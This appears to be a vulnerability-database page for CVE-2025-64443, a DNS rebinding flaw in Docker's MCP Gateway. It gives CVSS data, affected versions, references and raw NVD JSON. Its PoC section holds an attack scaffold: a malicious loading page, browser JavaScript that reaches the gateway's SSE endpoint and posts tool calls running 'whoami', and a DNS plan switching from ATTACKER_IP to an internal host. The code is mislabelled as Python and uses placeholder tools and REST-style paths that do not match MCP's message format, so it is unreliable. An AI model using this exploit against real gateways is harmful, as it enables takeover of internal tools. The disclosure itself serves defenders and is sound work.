CVE-2025-64443

Description

MCP Gateway allows easy and secure running and deployment of MCP servers. In versions 0.27.0 and earlier, when MCP Gateway runs in sse or streaming transport mode, it is vulnerable to DNS rebinding. An attacker who can get a victim to visit a malicious website or be served a malicious advertisement can perform browser-based exploitation of MCP servers executing behind the gateway, including manipulating tools or other features exposed by those MCP servers. MCP Gateway is not affected when running in the default stdio mode, which does not listen on network ports. Version 0.28.0 fixes this issue.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:docker:mcp_gateway:*:*:*:*:*:*:*:* - VULNERABLE

MCP Gateway <= 0.27.0 (sse/streaming模式)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-64443 DNS Rebinding PoC
// This PoC demonstrates the DNS rebinding attack against MCP Gateway

const ATTACKER_DOMAIN = 'attacker-controlled-domain.com';
const TARGET_HOST = '10.0.0.100'; // Internal MCP Gateway IP
const MCP_GATEWAY_PORT = 8080;

class DNSRebindingAttack {
    constructor(targetDomain) {
        this.domain = targetDomain;
        this.step = 0;
    }
    
    // Step 1: Initial DNS points to attacker server
    setupAttackerServer() {
        // Attacker server serves this malicious page
        const maliciousHTML = `
        <!DOCTYPE html>
        <html>
        <head><title>Loading...</title></head>
        <body>
            <h1>Page Loading...</h1>
            <script src="attack.js"></script>
        </body>
        </html>
        `;
        return maliciousHTML;
    }
    
    // Step 2: Malicious JavaScript for DNS rebinding attack
    exploitMCPGateway() {
        // After DNS switches to target, this script executes
        const attackScript = `
        (async function() {
            const mcpEndpoint = 'http://' + window.location.hostname + ':${MCP_GATEWAY_PORT}/sse';
            
            // Establish SSE connection to MCP Gateway
            const eventSource = new EventSource(mcpEndpoint);
            
            eventSource.onmessage = async (event) => {
                const data = JSON.parse(event.data);
                if (data.type === 'endpoint') {
                    // Got MCP endpoint, now exploit
                    await exploitWithEndpoint(data.endpoint);
                }
            };
            
            async function exploitWithEndpoint(endpoint) {
                // List available tools
                const toolsResponse = await fetch(endpoint + '/tools/list', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({})
                });
                
                // Call vulnerable tool
                await fetch(endpoint + '/tools/call', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({
                        name: 'vulnerable_tool',
                        arguments: {
                            cmd: 'whoami'
                        }
                    })
                });
            }
        })();
        `;
        return attackScript;
    }
    
    // Step 3: DNS server configuration
    getDNSServerConfig() {
        // DNS records should be configured to:
        // First request: Return attacker's IP (passes CORS check)
        // Subsequent requests: Return target internal IP
        return {
            records: [
                {ttl: 0, ip: 'ATTACKER_IP'},
                {ttl: 0, ip: TARGET_HOST}
            ],
            switchDelay: 1000 // milliseconds
        };
    }
}

module.exports = { DNSRebindingAttack };

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64443
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64443
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64443/
[4] VulDB https://vuldb.com/cve/CVE-2025-64443
[5] https://github.com/docker/mcp-gateway/commit/6b076b2479d8d1345c50c112119c62978d46858e
[6] https://github.com/docker/mcp-gateway/security/advisories/GHSA-46gc-mwh4-cc5r

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64443", "sourceIdentifier": "[email protected]", "published": "2025-12-03T18:15:46.670", "lastModified": "2026-03-10T19:37:51.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP Gateway allows easy and secure running and deployment of MCP servers. In versions 0.27.0 and earlier, when MCP Gateway runs in sse or streaming transport mode, it is vulnerable to DNS rebinding. An attacker who can get a victim to visit a malicious website or be served a malicious advertisement can perform browser-based exploitation of MCP servers executing behind the gateway, including manipulating tools or other features exposed by those MCP servers. MCP Gateway is not affected when running in the default stdio mode, which does not listen on network ports. Version 0.28.0 fixes this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-749"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docker:mcp_gateway:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.28.0", "matchCriteriaId": "46009D2D-8439-458E-8C17-15BFEC8BC740"}]}]}], "references": [{"url": "https://github.com/docker/mcp-gateway/commit/6b076b2479d8d1345c50c112119c62978d46858e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/docker/mcp-gateway/security/advisories/GHSA-46gc-mwh4-cc5r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}